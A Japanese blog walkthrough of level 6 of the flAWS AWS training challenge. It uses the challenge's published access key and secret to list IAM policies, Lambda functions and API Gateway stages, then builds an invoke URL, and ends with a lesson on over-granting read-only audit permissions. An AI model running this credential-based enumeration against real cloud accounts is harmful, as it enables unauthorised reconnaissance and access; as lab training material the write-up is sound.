flAWSレベル6だあ
flAWS最後のレベル6に来ました。
難しそうですがとりあえず進めていきます。
レベル6の設問はこちら。
For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.
「SecurityAudit」ポリシーが付与されたユーザーのアクセスキーが与えられた状態からスタートします。これで何ができるか調べてみてとのこと。
ポリシーを理解する
AWSジョブ機能の管理ポリシーのひとつにSecurityAuditポリシーがあります。
AWSユーザーに対するポリシーの付与は、必要な権限だけを厳選してやるべきですが、細かい権限を全て管理するのはたいへんです。
ジョブ機能の管理ポリシーは、各役職に必要な権限をプリセットして用意してくれています。
データベース管理者向け、ネットワーク管理者向け、経理、管理者、そしてセキュリティ監査人用のポリシーもあります。それがSecurityAuditポリシー。
今回セキュリティ監査ユーザーを自由に使えるという状況なので、まずなにができるか見てみたいところです。
ユーザーを調査する
このユーザーに付与されているポリシーの中身を見るためにはaws iam list-attached-user-policies
コマンドを実行する必要がありますが、プロファイルとユーザー名が必要です。
アクセスキーが設問で与えられていますので、それでプロファイルを作成します。
% aws configure --profile flaws3
AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]: json
プロファイルが作成できたら、次のコマンドでユーザー名が取得できます。
% aws --profile flaws3 iam get-user
{
"User": {
"Path": "/",
"UserName": "Level6",
"UserId": "AIDAIRMDOSCWGLCDWOG6A",
"Arn": "arn:aws:iam::975426262029:user/Level6",
"CreateDate": "2017-02-26T23:11:16+00:00"
}
}
ポリシーを調査する
ユーザー名がわかったので、ユーザーに付与されたポリシーを確認することができます。
% aws --profile flaws3 iam list-attached-user-policies --user-name Level6
{
"AttachedPolicies": [
{
"PolicyName": "MySecurityAudit",
"PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
},
{
"PolicyName": "list_apigateways",
"PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
}
]
}
設問にあった通り、MySecurityAudit
ポリシーが付与されていることがわかります。
そしてもうひとつlist_apigateways
というポリシーの存在が確認できました。
また、それぞれのARNが判明しました。
ポリシーのARNがわかったので、ポリシーの内容を確認することができます。
% aws --profile flaws3 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit
{
"Policy": {
"PolicyName": "MySecurityAudit",
"PolicyId": "ANPAJCK5AS3ZZEILYYVC6",
"Arn": "arn:aws:iam::975426262029:policy/MySecurityAudit",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "Most of the security audit capabilities",
"CreateDate": "2019-03-03T16:42:45+00:00",
"UpdateDate": "2019-03-03T16:42:45+00:00",
"Tags": []
}
}
% aws --profile flaws3 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
{
"Policy": {
"PolicyName": "list_apigateways",
"PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
"Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "List apigateways",
"CreateDate": "2017-02-20T01:45:17+00:00",
"UpdateDate": "2017-02-20T01:48:17+00:00",
"Tags": []
}
}
バージョンIDが判明したので、次のようにポリシーの詳細を取得できます。
% aws --profile flaws3 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --version-id v1
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
~snip~
"lambda:GetAccountSettings",
"lambda:GetPolicy",
"lambda:List*",
~snip~
],
"Resource": "*",
"Effect": "Allow"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2019-03-03T16:42:45+00:00"
}
}
% aws --profile flaws3 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"apigateway:GET"
],
"Effect": "Allow",
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
}
]
},
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2017-02-20T01:48:17+00:00"
}
}
:list_apigateways
のポリシーにapigatewayに関する記述が確認できます。
この記述はGET
メソッドを使用してarn:aws:apigateway:us-west-2::/restapis/*
のリソースにアクセスする権限が有ることを表しています。
これはユーザーがAPIgatewayを使用して何かのコードを実行するためのポリシーと見られますが、ほとんどの場合Lambda関数を実行するものと思われます。
:MySecurityAudit
のポリシーの中にLambda関連の権限が確認でき、そのうちのひとつにlambda:List*
が存在し、Lambda関数のリストを取得できることがわかります。
ということでaws lambda list-functions
コマンドでリストを取得します。
% aws --region us-west-2 --profile flaws3 lambda list-functions
{
"Functions": [
{
"FunctionName": "Level6",
"FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
"Runtime": "python2.7",
"Role": "arn:aws:iam::975426262029:role/service-role/Level6",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 282,
"Description": "A starter AWS Lambda function.",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2017-02-27T00:24:36.054+0000",
"CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "d45cc6d9-f172-4634-8d19-39a20951d979",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
}
}
]
}
Level6
というLambda関数が存在することがわかりました。
APIgatewayの情報、Lambda関数の情報がわかったので、それらを使ってコードを実行してみたいところです。
APIを介してLambda関数を実行するためには、公式ドキュメントにあるように、APIの呼び出しURLを使用することで可能になります。
APIの呼び出しURLはhttps://{API ID}.execute-api.{region}.amazonaws.com/{stage name}/{function name}
の形式が使われるので、リージョン名、API ID、関数名、そしてステージ名がわかれば、この関数の呼び出しURLが特定できます。
先ほど関数名がLevel6
ということがわかったので、まず関数のポリシー情報を取得します。
% aws --region us-west-2 --profile flaws3 lambda get-policy --function-name Level6
{
"Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}",
"RevisionId": "d45cc6d9-f172-4634-8d19-39a20951d979"
}
公式ドキュメントを参照すると、API IDがs33ppypa75
であるという記述を見つけることができます。
API IDが判明したので、次のコマンドでステージ名を確認することができます。
% aws --profile flaws3 --region us-west-2 apigateway get-stages --rest-api-id s33ppypa75
{
"item": [
{
"deploymentId": "8gppiv",
"stageName": "Prod",
"cacheClusterEnabled": false,
"cacheClusterStatus": "NOT_AVAILABLE",
"methodSettings": {},
"tracingEnabled": false,
"createdDate": "2017-02-27T09:26:08+09:00",
"lastUpdatedDate": "2017-02-27T09:26:08+09:00"
}
]
}
ステージ名がProd
であることがわかりました。
これで、APIの呼び出しURLを特定する情報が全て揃いました。
https://{API ID}.execute-api.{region}.amazonaws.com/{stage name}/{function name}
の形式に、ここまでに収集した情報を埋めると、次のようになります。
https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
ブラウザでこのURLにアクセスしてみます。
ページが表示されました。続けてこのURLにアクセスしてみます。
ゴールです。
いやーこれは難しい!!
まったくこのレベルに到達してないのでまた復習します。
問題を回避する
設問を解くのは難しかったですが、この設問でテーマになっている問題は単純なものです。
攻撃者が被害者のユーザープロファイルにアクセスしたあと、ポリシーの情報を参照できてしまいました。
そしてこれまで見てきたように芋づる式に情報を引き出すことができ、最後にはAPIからコードの実行まで可能になってしまいました。
単に自分のユーザーアカウントの権限を確認するための権限であっても、このように悪用される可能性があります。
これはたとえ読み取り専用の権限であっても、たやすくユーザーに付与してはいけないということです。
...ということでflAWSもようやくおわり、次はcloudgoatをやってみようかなと思っていましたが、なんと「flAWS 2」があるではありませんか。
続編があったなんて。ということで、次はflAWS2を進めていきます!
Discussion